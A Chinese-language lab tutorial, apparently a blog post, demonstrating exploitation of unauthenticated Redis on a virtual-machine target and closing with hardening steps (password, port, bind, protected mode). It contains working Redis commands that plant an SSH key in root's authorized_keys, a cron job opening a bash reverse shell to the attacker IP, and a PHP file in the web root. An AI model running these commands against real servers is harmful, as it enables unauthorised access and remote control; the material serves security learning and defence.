Redis未授权访问漏洞,包括很多姿势,之前一直有接触,但并没有认真总结过,最近有点闲。
并且在准备HW的东西 而未授权的Redis 在内网中很容易遇到,故写篇文章记录之。
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行操作。
这里拿两台机器做演示
虚拟机 Centos 10.211.55.23 作为目标机器
本机 Mac 10.211.55.2 作为攻击机。
安装Redis
wget http://download.redis.io/releases/redis-4.0.6.tar.gz
解压压缩包
tar -zxvf redis-4.0.6.tar.gz
yum安装gcc依赖
yum install gcc
编译
cd redis-4.0.6/src
make
编译成功
将redis的命令安装到/usr/bin/目录
sudo make install
启动服务器
redis-server
新终断启动客户端测试下
redis-cli -h 127.0.0.1
默认开启保护模式,要关闭保护模式
修改redis的配置文件redis.conf
protected-mode 修改为no
将这一行注释掉,表示任何主机都可访问的意思,生产环境中最好是指定特定的主机进行访问。
重启服务器
redis-server redis.conf
本机Mac作为攻击机,链接一下虚拟机的 Redis数据库
直接可以连接,说明存在未授权访问漏洞
Linux服务器 我们一般采用密码方式登陆,但是每次输入密码会显得非常麻烦。SSH还有一个更便携的方法就是通过密钥方式登陆。
将公钥添加到服务器中,在客户端利用私钥即可完成认证并成功登陆服务器。
简单说下原理,大致意思就是用户将自己的公钥存储在远程主机(服务器)上,登陆时候远程主机会发送一段随机字符串,经过我们本地的私钥加密以后在发给服务器。最后服务器用存储的公钥进行解密,如果解密成功则直接登录,没有输入密码的过程。
首先,我们先看下服务器上有没有开启密钥登陆
vim /etc/ssh/sshd_config
默认是开启了密钥登陆的
这里默认是 yes 改为 no 就是禁用了密码登陆,这样妈妈再也不用担心我被爆破了。
在本机生成一对公私钥
ssh-keygen
#链接redis。
./redis-cli -h 10.211.55.23
#查看当前路径。
10.211.55.23:6379> config get dir
1) "dir"
2) "/home/parallels/redis-4.0.6"
#查看当前操作的文件。
10.211.55.23:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
#设置要操作的路径。
10.211.55.23:6379> config set dir /root/.ssh/
OK
#设置要操作的文件。
10.211.55.23:6379> config set dbfilename authorized_keys
OK
然后直接写入公钥。
save将公钥值保存到要操作的文件。
写入公钥以后,直接登录即可
ssh -i id_rsa root@10.211.55.23
利用定时任务crontab反弹shell
*/1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1
分别对应 分 时 日 月 周 命令
表示每1分钟执行一次反弹shell的命令
$ ./redis-cli -h 10.211.55.23
10.211.55.23:6379> set x "\n*/1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1\n"
OK
10.211.55.23:6379> config set dir /var/spool/cron/
OK
10.211.55.23:6379> config set dbfilename root
OK
10.211.55.23:6379> save
OK
nc监听一下
回到靶机crontab -l
查看一下计划任务
写进来了。
这时候也成功反弹了。
原理都是一样的。
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save
编辑配置文件redis.conf
找到 #requirepass foobared
添加如下内容
requirepass zxcvbnm123.
保存即可。
本机验证一下看看
也可直接
./redis-cli -h 10.211.55.23 -a zxcvbnm123.
编辑配置文件redis.conf
port 6379
改为其他端口
编辑配置文件redis.conf
指定主机访问,前面也提到过,redis默认的配置就是这样的,只不过我们为了复现漏洞添加了注释。
编辑配置文件redis.conf
protected-mode yes